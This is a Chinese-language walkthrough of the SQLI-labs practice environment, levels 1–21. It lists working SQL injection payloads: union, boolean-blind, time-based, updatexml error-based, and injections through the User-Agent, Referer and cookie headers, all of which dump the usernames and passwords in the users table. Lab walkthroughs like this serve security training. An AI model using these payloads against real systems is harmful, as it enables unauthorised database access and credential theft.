详细SQLI-labs(1-21)通关攻略

SQL注入思路:首先确定是否为注入点—>判断注入点类型(数字型或字符型)—>爆数据库名称(及版本)—>爆用户表列数—>爆表的个数及名称—>爆用户表的字段名称——>爆出表中信息。

1、第一关

首先在url后加上 ?Id=1确定是否有注入点。

然后根据输入内容来确定注入点类型: 输入id=1 and 1=2 回显正常,确定为字符型注入。

输入?id=1 and '1'='2'显示报错信息。

查询表的列数:由于是字符型注入,故应添加单引号来形成断句,后使用order by语句来查询表的列数,当查询数为4的时候,显示报错,代表此表只有三列。

使用union语句查询 ? Id=-1' union select 1,2,3 --+ 可发现第二三列查询结果会回显至结果中。

将第二三个占位符换为数据库名和版本,可显示出数据库名和版本号。

使用联合查询查询出表名称?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

从user表中查询字段名称:
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

使用联合查询将id username password全部查出,并返回显示值。

?id=-1' union select 1,2,group_concat(id,username , password) from users--+

2、第二关

输入?Id=1' and '1'='1 出现如下错误信息,可判断为为数字型注入。

判断出注入类型为数字型注入,之后的操作和第一关一样。

3、第三关

当输入?id=1'时显示报错,可判断闭合类型为单引号加括号。

根据以下代码进行便可一步一步地获取用户表中的所有账户和密码。

?id = 1')--+
?id = 1') order by 1 --+
?id=-90 ') union select 1,2,3 --+
?id=-99 ') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=-99 ') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
?id=-99 ') union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+

4、第四关

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入。

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

5、第五关

第五题没有具体回显值,如果正确的话会显示you are in........ 

故选择布尔盲注,布尔盲注相对于联合注入消耗更多的时间。

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
 
 
 

6、第六关

第六关于第五关一样,首先推测出闭合方式,根据回显提示将单引号换成双引号即可。

7、第七关

        在第七关的测试中,当我们输入 id=1 时,页面显示 "you are in..."。然而,当我们尝试输入 id=1' 时,页面没有报错信息,这与之前的测试情况不同,因为之前的测试中都有报错信息。进一步测试发现,输入 id=1" 时页面显示正常,因此我们可以确定参数 id 是一个字符串,并且单引号破坏了其原有的语法结构。

         随后,我尝试输入 id=1'-- 时出现了报错。接着,我测试了 id=1')--,发现依然报错。继而我尝试了双括号输入 id=1'))--,发现页面显示正常。这表明在这一关中,使用布尔盲注的方法似乎是解决问题的途径,与之前的关卡策略相似。

8、第八关

第八关于第五关相似,但是没有报错信息显示。用第五关的方法即可通关。

9、第九关

第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

10、第十关

与第九关一样,只需改变闭合方式,将单引号转换为双引号。

11、第十一关

第十一关首先判断断点类型为单引号,后用第一关的联合查询语句即可通关。

查询表的列数

查询回显位置

查询数据库的名称和版本

12、第十二关

输入1和1‘都无反应,当输入1“出现报错,故判断断点类型为双引号加括号。

后使用联合查询语句即可。

13、第十三关

将十二关的双引号换成单引号即可。

14、第十四关

将十一关的单引号换成双引号即可。

15、第十五关

本关和第十一关一样,不产生报错信息。使用布尔盲注。还有错误页面和正确页面进行参考。

16、第十六关

因为没有报错信息,只有登录成功或失败的提示,因此选择布尔盲注

判断列数

17、第十七关

本关是一个更改密码页面:
利用一个查询从另一个查询中取出数据,绕过表的限制。
user name:输入已知的  admin
New Password: ' OR updatexml(1,concat("!",version()),2)#   (updatexml() 报错注入 --函数用于改变 XML 文档中符合条件的节点的值)
利用 updatexml() 报错回显数据库名。
依次爆破表名——>爆破字段名.

表名称

列名称

' OR updatexml(1,concat("!",version()),2)#   
' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)# 
' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#
' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#
' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#

18、第十八关

      注入正确的用户名:admin和密码:admin,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等
在User-Agent中注入:

' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) or'
' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) or'

19、第十九关

首先登录发现弹出referer,使用BuroSuite抓包将数据转入重放器中,将referer改为需要注入的语句,语句与第十八关一致。

20、第二十关

第二十关当我们输入正确页面时候cookie字段显示在页面上,进行抓包。进行注入;

cookie:uname=   与第十九题语句相似。

21、第二十一关

本关与上一关一样,只是cookie已经被转码,只需输入的语言进行转码就行了,语句与上一题相似。

' union select group_concat(column_name),2,3 from information_schema.columns where table_schema ='security' and table_name ='users'#

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值